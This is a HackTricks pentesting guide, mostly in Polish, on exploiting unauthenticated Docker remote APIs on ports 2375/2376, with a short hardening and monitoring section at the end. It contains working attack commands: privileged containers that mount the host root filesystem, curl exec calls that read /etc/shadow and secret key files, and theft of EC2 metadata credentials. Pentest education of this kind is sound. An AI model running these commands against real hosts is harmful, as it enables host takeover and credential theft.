hacktricks/network-services-pentesting/2375-pentesting-docker.md

23 KiB
Raw Blame History

2375, 2376 Pentesting Docker

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Docker Basics

What is

Docker to wiodąca platforma w branży konteneryzacji, prowadząca ciągłe innowacje. Umożliwia łatwe tworzenie i dystrybucję aplikacji, od tradycyjnych po futurystyczne, i zapewnia ich bezpieczne wdrożenie w różnych środowiskach.

Basic docker architecture

  • containerd: To podstawowy runtime dla kontenerów, odpowiedzialny za kompleksowe zarządzanie cyklem życia kontenera. Obejmuje to obsługę transferu i przechowywania obrazów, a także nadzorowanie wykonywania, monitorowania i sieci kontenerów. Szczegółowe informacje na temat containerd są dalsze badane.
  • container-shim odgrywa kluczową rolę jako pośrednik w obsłudze kontenerów bezgłowych, płynnie przejmując od runc po zainicjowaniu kontenerów.
  • runc: Ceniony za swoje lekkie i uniwersalne możliwości runtime kontenerów, runc jest zgodny z standardem OCI. Jest używany przez containerd do uruchamiania i zarządzania kontenerami zgodnie z wytycznymi OCI, rozwijając się z oryginalnego libcontainer.
  • grpc jest niezbędny do ułatwiania komunikacji między containerd a docker-engine, zapewniając efektywną interakcję.
  • OCI jest kluczowe w utrzymywaniu specyfikacji OCI dla runtime i obrazów, przy czym najnowsze wersje Dockera są zgodne zarówno z obrazem OCI, jak i standardami runtime.

Basic commands

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd został specjalnie opracowany, aby zaspokoić potrzeby platform kontenerowych, takich jak Docker i Kubernetes, między innymi. Jego celem jest uproszczenie uruchamiania kontenerów na różnych systemach operacyjnych, w tym Linux, Windows, Solaris i innych, poprzez abstrahowanie funkcjonalności specyficznych dla systemu operacyjnego i wywołań systemowych. Celem Containerd jest uwzględnienie tylko niezbędnych funkcji wymaganych przez jego użytkowników, dążąc do pominięcia zbędnych komponentów. Jednak całkowite osiągnięcie tego celu uznawane jest za trudne.

Kluczową decyzją projektową jest to, że Containerd nie obsługuje sieci. Sieć jest uważana za kluczowy element w systemach rozproszonych, z złożonościami takimi jak Software Defined Networking (SDN) i odkrywanie usług, które znacznie różnią się w zależności od platformy. Dlatego Containerd pozostawia aspekty sieciowe do zarządzania przez platformy, które wspiera.

Podczas gdy Docker wykorzystuje Containerd do uruchamiania kontenerów, ważne jest, aby zauważyć, że Containerd obsługuje tylko podzbiór funkcjonalności Dockera. Konkretnie, Containerd nie ma możliwości zarządzania siecią obecnych w Dockerze i nie obsługuje bezpośredniego tworzenia klastrów Docker. To rozróżnienie podkreśla skoncentrowaną rolę Containerd jako środowiska uruchomieniowego kontenerów, delegując bardziej wyspecjalizowane funkcjonalności do platform, z którymi się integruje.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman to silnik kontenerowy open-source, który przestrzega standardów Open Container Initiative (OCI), opracowany i utrzymywany przez Red Hat. Wyróżnia się na tle Dockera kilkoma charakterystycznymi cechami, w szczególności architekturą bezdemonową oraz wsparciem dla kontenerów bez uprawnień root, co umożliwia użytkownikom uruchamianie kontenerów bez uprawnień administratora.

Podman został zaprojektowany tak, aby był kompatybilny z API Dockera, co pozwala na używanie poleceń CLI Dockera. Ta kompatybilność obejmuje jego ekosystem, który zawiera narzędzia takie jak Buildah do budowania obrazów kontenerów oraz Skopeo do operacji na obrazach, takich jak push, pull i inspect. Więcej informacji na temat tych narzędzi można znaleźć na ich stronie GitHub.

Kluczowe różnice

  • Architektura: W przeciwieństwie do modelu klient-serwer Dockera z działającym w tle demonem, Podman działa bez demona. Taki projekt oznacza, że kontenery działają z uprawnieniami użytkownika, który je uruchamia, co zwiększa bezpieczeństwo poprzez eliminację potrzeby dostępu root.
  • Integracja z systemd: Podman integruje się z systemd w celu zarządzania kontenerami, co pozwala na zarządzanie kontenerami za pomocą jednostek systemd. To kontrastuje z użyciem systemd przez Dockera głównie do zarządzania procesem demona Dockera.
  • Kontenery bez uprawnień root: Kluczową cechą Podmana jest jego zdolność do uruchamiania kontenerów z uprawnieniami użytkownika, który je inicjuje. Takie podejście minimalizuje ryzyko związane z naruszeniami kontenerów, zapewniając, że atakujący uzyskują jedynie uprawnienia skompromitowanego użytkownika, a nie dostęp root.

Podejście Podmana oferuje bezpieczną i elastyczną alternatywę dla Dockera, kładąc nacisk na zarządzanie uprawnieniami użytkowników oraz kompatybilność z istniejącymi przepływami pracy Dockera.

{% hint style="info" %} Zauważ, że ponieważ podman ma na celu wsparcie tego samego API co docker, możesz używać tych samych poleceń z podmanem, co z dockerem, takich jak:

podman --version
podman info
pdoman images ls
podman ls

{% endhint %}

Podstawowe informacje

Remote API działa domyślnie na porcie 2375, gdy jest włączony. Usługa domyślnie nie wymaga uwierzytelnienia, co pozwala atakującemu na uruchomienie uprzywilejowanego kontenera docker. Korzystając z Remote API, można podłączyć hosty / (katalog główny) do kontenera i odczytywać/zapisywać pliki środowiska hosta.

Domyślny port: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Enumeracja

Ręczna

Zauważ, że aby enumerować API dockera, możesz użyć polecenia docker lub curl, jak w następującym przykładzie:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

Jeśli możesz skontaktować się z zdalnym API dockera za pomocą polecenia docker, możesz wykonać dowolne z poleceń dockera wcześniej skomentowanych, aby zainteresować się usługą.

{% hint style="info" %} Możesz export DOCKER_HOST="tcp://localhost:2375" i unikać używania parametru -H z poleceniem docker {% endhint %}

Szybka eskalacja uprawnień

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

Czasami zobaczysz 2376 aktywne dla punktu końcowego TLS. Nie udało mi się połączyć z nim za pomocą klienta docker, ale możliwe jest to za pomocą curl.

#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

Jeśli chcesz uzyskać więcej informacji na ten temat, więcej informacji jest dostępnych tam, skąd skopiowałem polecenia: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

Automatyczny

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Kompromitacja

Na następnej stronie znajdziesz sposoby na ucieczkę z kontenera docker:

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}

Wykorzystując to, możliwe jest wydostanie się z kontenera, możesz uruchomić słaby kontener na zdalnej maszynie, uciec z niego i skompromitować maszynę:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

Eskalacja uprawnień

Jeśli jesteś wewnątrz hosta, który używa dockera, możesz przeczytać te informacje, aby spróbować podnieść uprawnienia.

Odkrywanie sekretów w działających kontenerach Docker

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

Sprawdź env (sekcja zmiennych środowiskowych) pod kątem sekretów, a możesz znaleźć:

  • Hasła.
  • Adresy IP.
  • Porty.
  • Ścieżki.
  • Inne… .

Jeśli chcesz wyodrębnić plik:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Zabezpieczanie Dockera

Zabezpieczanie instalacji i użycia Dockera

  • Możesz użyć narzędzia https://github.com/docker/docker-bench-security do sprawdzenia swojej aktualnej instalacji dockera.
  • ./docker-bench-security.sh
  • Możesz użyć narzędzia https://github.com/kost/dockscan do sprawdzenia swojej aktualnej instalacji dockera.
  • dockscan -v unix:///var/run/docker.sock
  • Możesz użyć narzędzia https://github.com/genuinetools/amicontained do sprawdzenia, jakie uprawnienia będzie miała kontener, gdy będzie uruchamiany z różnymi opcjami zabezpieczeń. To jest przydatne, aby znać implikacje używania niektórych opcji zabezpieczeń do uruchamiania kontenera:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Zabezpieczanie obrazów Dockera

  • Możesz użyć obrazu dockera https://github.com/quay/clair, aby przeskanować inne obrazy dockera i znaleźć luki.
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Zabezpieczanie Dockerfile

Rejestrowanie podejrzanej aktywności

  • Możesz użyć narzędzia https://github.com/falcosecurity/falco do wykrywania podejrzanego zachowania w uruchomionych kontenerach.
  • Zauważ w poniższym fragmencie, jak Falco kompiluje moduł jądra i go wstawia. Po tym ładuje zasady i zaczyna rejestrować podejrzane aktywności. W tym przypadku wykryto 2 uruchomione kontenery z uprawnieniami, jeden z nich z wrażliwym montażem, a po kilku sekundach wykryto, jak w jednym z kontenerów otwarto powłokę.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Monitorowanie Dockera

Możesz użyć auditd do monitorowania dockera.

Odniesienia

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}